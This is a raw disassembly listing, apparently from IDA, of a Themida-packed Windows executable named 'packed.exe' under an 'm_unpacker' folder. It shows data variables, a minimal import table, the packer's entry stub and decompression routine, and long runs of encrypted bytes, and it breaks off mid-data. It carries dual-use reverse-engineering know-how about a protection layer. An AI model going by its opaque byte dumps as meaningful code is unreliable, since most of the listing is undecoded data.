sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA9BC dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DABBC dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DABC0 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DAC1C dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DAE1C db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DAE20 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DB020 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB224 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB228 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB22C dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB230 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB234 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB268 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB270 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB2A8 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB2AC dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB2B0 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB2C4 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB2C8 dd 2430B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2D0 dd 2430B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2D4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2D8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2E0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2E8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2EC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2F0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2F4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2FC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB300 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB308 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB30A dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB30E dw 0 ; DATA XREF: sub_41D081+3Br word_4DB310 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB312 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB318 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB320 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB324 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB328 dd 0 ; DATA XREF: sub_41F312r dword_4DB32C dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB330 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB334 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB33C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB340 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB344 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB348 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB34C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB350 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB354 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB358 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB35C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB364 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB374 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB37C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB380 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2E0o align 10h dd 3Ah dup(0) dword_4DB488 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB48C dd 0 ; DATA XREF: sub_423590+21r dword_4DB490 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB494 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB498 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB4A0 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB4A2 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB4A4 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB4C0 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB4C4 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB4C8 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB4CC dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4D0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4D8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4E0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4E4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB524 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB526 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB528 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB52A dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB52C dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB52E dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB530 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB532 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB534 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB538 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB578 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB57A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB57C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB57E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB580 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB582 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB584 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB586 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB588 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB58C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB590 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB594 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB598 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB59C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB5A0 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB5A4 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB5A8 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB5AC dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB5B0 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB5B8 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB5BC dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB5C0 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB5C4 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB5C8 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... dd 5 dup(0) dword_4DB5E0 dd 400h dup(0) ; DATA XREF: ___:off_43CA18o ; ___:0043CA20o dword_4DC5E0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC600 dd 2430650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC604 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC700 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC704 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC710 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC71C dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC720 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC820 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC821 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC924 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC928 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC92C dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC930 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC934 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC938 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC93C dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC940 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC944 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC948 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC94C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC950 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC954 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC958 dd 2430758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC95C dd 2430758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1A8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dword_4DE000 dd 400h dup(0) ; DATA XREF: Themida_:0053E5A4o _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 0FC2149E3h, 4F8C9h, 54082h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053CD6F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00540070 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 005402E6 SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A6Co and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53CD6F mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53CD6F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 15732FCh, 0B835C8BFh, 848B2444h, 21F2BA2Fh, 0AFFB102Eh dd 0F5800124h, 1A0D0FEh, 2E97AAEBh, 36F3AB24h, 7F850370h dd 0C27145DEh, 22915715h, 0D75D21DCh, 8F73390h, 11917F57h dd 0E7FD8770h, 55550801h, 81798F1h, 0C638F4D5h, 0E9BE4203h dd 0BCFAD06Dh, 73650752h, 33726174h, 2E8B7041h, 2AE578D3h dd 68540020h, 64696D65h, 0D6A0AF61h, 2D343009h, 5564BD31h dd 8403921Bh, 8B1CEF2Bh, 60D487C5h, 5D8008E8h, 330BED81h dd 89060648h, 0D0F4D95h, 0C44B577h, 19712085h, 20BD833Fh dd 1C74E029h, 89E88B0Ch, 9949B8E2h, 701CEFC2h, 3E772444h dd 6A011F14h, 81A3E845h, 749A6829h, 0DFE90783h, 4B250A40h dd 440A7A89h, 1429E9D5h, 405FEC02h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add bl, [edx-7Fh] jmp far ptr 45C7h:0DA8B20F9h ; --------------------------------------------------------------------------- dw 0D848h dd 400ED808h, 8108C789h, 1D80E67Dh, 200F7433h, 6383F908h dd 12FF4598h, 0E163EB43h, 7461DC36h, 0C2C91426h, 81064604h dd 2FF7CC4h, 4220498Eh, 458D0034h, 85D8B80h, 19A285C7h dd 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh, 755D0106h dd 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh, 7ABB85Bh dd 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h, 314A9246h dd 4251F946h, 8A5D61D1h, 0AFF0D003h, 5045EEECh, 51EB4DFCh dd 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h, 3E7FEB0Ch dd 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah, 0F801D604h dd 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h, 390A0A61h dd 0EBE90577h, 3F2293F7h, 0DB36114h, 8FB660Ah, 0C3FA1E7Ah dd 10610A75h, 0B72411Ah, 77460A86h, 10F52406h, 0C3F05D01h dd 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh, 700EF826h dd 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh, 0BA87F238h dd 5B90708h, 0BDFC4270h, 0FE003588h, 0E49470Fh, 22B9FA75h dd 0BBE76A2Eh, 0F1A31F01h, 0C78EB82h, 86018EECh, 74937B4h dd 36C16551h, 28F71DBFh, 5007268Ah, 7F5905E9h, 6154796Bh dd 5C211304h, 5D8AC8C4h, 8205250Ch, 0C01A0845h, 0C4544421h dd 0FC7C8C0Dh, 6747E600h, 0F95ACC82h, 50C3642Ch, 0C4606158h dd 8C7D8AC8h, 1481644h, 0AB1DC458h, 8013E961h, 7A524117h dd 0E1B6F9h, 21F50998h, 5C8A5D63h, 901D9100h, 841059BAh dd 8233C007h, 784243EAh, 0EC622832h, 67A781F1h, 0CBC8DA8Ch dd 820EC034h, 765B4E39h, 0B8100F01h, 0D1043D51h, 46D93BF1h dd 9754C87h, 0A311562Eh, 65E4EC05h, 9C200690h, 1505C584h dd 0B9C7968Eh, 4C25323h, 8C29A2C2h, 0E7858671h, 98A6DD0Eh dd 77812BFFh, 1D220460h, 9884C134h, 20753288h, 0EE0E3FBCh dd 30EFCC0Ah, 0EC97A102h, 0CF7F8CC4h, 40C8FFCCh, 0E9F54567h dd 626028h, 4D8C52C4h, 0AA821125h, 0AB66B142h, 1384845Ah dd 0C11F5648h, 0D2EE825Eh, 40088155h, 548A9F90h, 234013B9h dd 2943A597h, 1815D141h, 0B4FD056Ah, 18D670Dh, 0E281E0F0h dd 0C0AFCF05h, 8610CA0Bh, 6435656Ch, 5F398C57h, 758A11C4h dd 47801D88h, 0D3A6C457h, 7D4E01A5h, 79BA2A32h, 3822EAh dd 0F3482411h, 19C80613h, 0FA1A4A86h, 1521A202h, 6EFB2E03h dd 0DB27978Fh, 3170714h, 40F8C881h, 0D34C680h, 0BB61CC00h dd 7C3CE7CBh, 0ED890D47h, 94310EEAh, 9F3521D8h, 368A7A22h dd 0E8142D22h, 5B1C5346h, 558A88C4h, 534370h, 0AEBC62C4h dd 24C8B1Fh, 9A90D474h, 5C09B831h, 0E9012296h, 4B37800Dh dd 0CB936174h, 53DF024Fh, 17AC2782h, 4CB988h, 66BF6758h dd 5C1E5909h, 0E03CC482h, 9255BA1Ah, 7217B61h, 0A08925C2h dd 5B3400E0h, 41C011EAh, 7536AF77h, 3D65008Dh, 0A2067818h dd 56F6EA0Ch, 0F382C700h, 638C605Bh, 1E8E9054h, 70E945CFh dd 907D7C1Ah, 0C0102D18h, 6CE082Dh, 0E68B768Dh, 0C1013053h dd 49033FCh, 778009E9h, 0D18CD4B1h, 0E3132DB8h, 12005840h dd 845960F4h, 320573ECh, 0A4EA02EAh, 0C58158C8h, 37D0F500h dd 0E2273C8Fh, 3E740Dh, 0B4B389EFh, 2174AF08h, 88A411C2h dd 0AC331091h, 1895EC20h, 6EBF028Fh, 0B0003EC1h, 6F343A5Ch dd 0C33C31E9h, 0F0A33551h, 170310A6h, 0C7037004h, 24581075h dd 0EE80FADh, 8FA7E183h, 38841B86h, 40ECD03Ch, 0F9AC0607h dd 508C0193h, 0B1E9CB03h, 86B0D99Ch, 3A04E240h, 0C6B21D71h dd 86975F90h, 9012DA54h, 39808C30h, 7466415Ch, 90480047h dd 0BF775B71h, 75156CDBh, 0C5C10E2h, 119B0818h, 0B5820051h dd 0FD6B2CA3h, 0CD03435Ch, 0C7F7D42Ah, 60BCA025h, 88B7067Dh dd 0B9E5D00Bh, 9BA93Ch, 0C7310DC2h, 0E475CBh, 8D687F62h dd 856B2A20h, 3DD861DEh, 0C0CB79h, 9BF30843h, 5F7C049Ch dd 29C081EEh, 7D5CFC50h, 30661A8Eh, 0A800D926h, 62F767B1h dd 64493660h, 7C194B92h, 116E0015h, 68D584D4h, 0AF15E7ACh dd 7E8D3E9h, 8AE13B3Ch, 0C8EE35F3h, 0A090F6B1h, 80D74FECh dd 0D1C0EAD0h, 0AEE4CD53h, 9510014Ah, 0A736C87Fh, 0B1DC4021h dd 75019757h, 88F3E1B9h, 61862BBBh, 0C18F6D2Ah, 0CC87820Ch dd 12658E4h, 2820AD9Bh, 4016FA64h, 0C08706D4h, 8320F86Fh dd 218DA6Ch, 0AC3B2618h, 0F8808450h, 320CDEEh, 8E2C0850h dd 0DCFCE12Eh, 0A444C38h, 10C2C631h, 0C4B06183h, 48F9A0D9h dd 87020C46h, 0AC68E0D8h, 3FBA5410h, 88298C40h, 8B01BF60h dd 0ECE483AAh, 0D9C0E7B1h, 0B6650712h, 0B4F3DE0Ah, 68248262h dd 40159F41h, 0E2DF9784h, 0C43B092Ah, 0AB26C31Ah, 59A418E8h dd 0D5D30407h, 8C2A845Bh, 88440840h, 0E21D3DABh, 703DF880h dd 3E7AE386h, 0F128A50Fh, 35BAA324h, 27A909A7h, 5824D1B5h dd 0CA549Ch, 95B9F071h, 1E497F8h, 34898FB1h, 0FCCE8314h dd 38C08796h, 72CB23B3h, 64D40691h, 0C8293B36h, 0DCA93524h dd 94B32660h, 0C0A35024h, 69836008h, 0E340B9C8h, 6B8AC203h dd 255162Eh, 5C2814F1h, 0AC8111A2h, 102CD324h, 0B5ECCFh dd 5DE21F1Eh, 0D052645Fh, 0B1B6D601h, 0F520A7A2h, 0E9DACC43h dd 0C0104E1h, 482287h, 0FD999C27h, 0C395CB63h, 94B78989h dd 0A050B6A3h, 8C496EFAh, 7A0F0014h, 6CADE504h, 501D60E6h dd 0EB53FC0Dh, 543DB300h, 0E70AE0A3h, 0C7FE0041h, 6A74C679h dd 4200DEDBh, 0BC40AE73h, 13616FCh, 65E80A25h, 0D0CDB246h dd 2F058E5Fh, 41D15A89h, 304962C1h, 7C7BBEE0h, 0C90A0E77h dd 0F6C0BB70h, 0F4BC0654h, 0C83E160Eh, 5B1AA04Fh, 966F8CDh dd 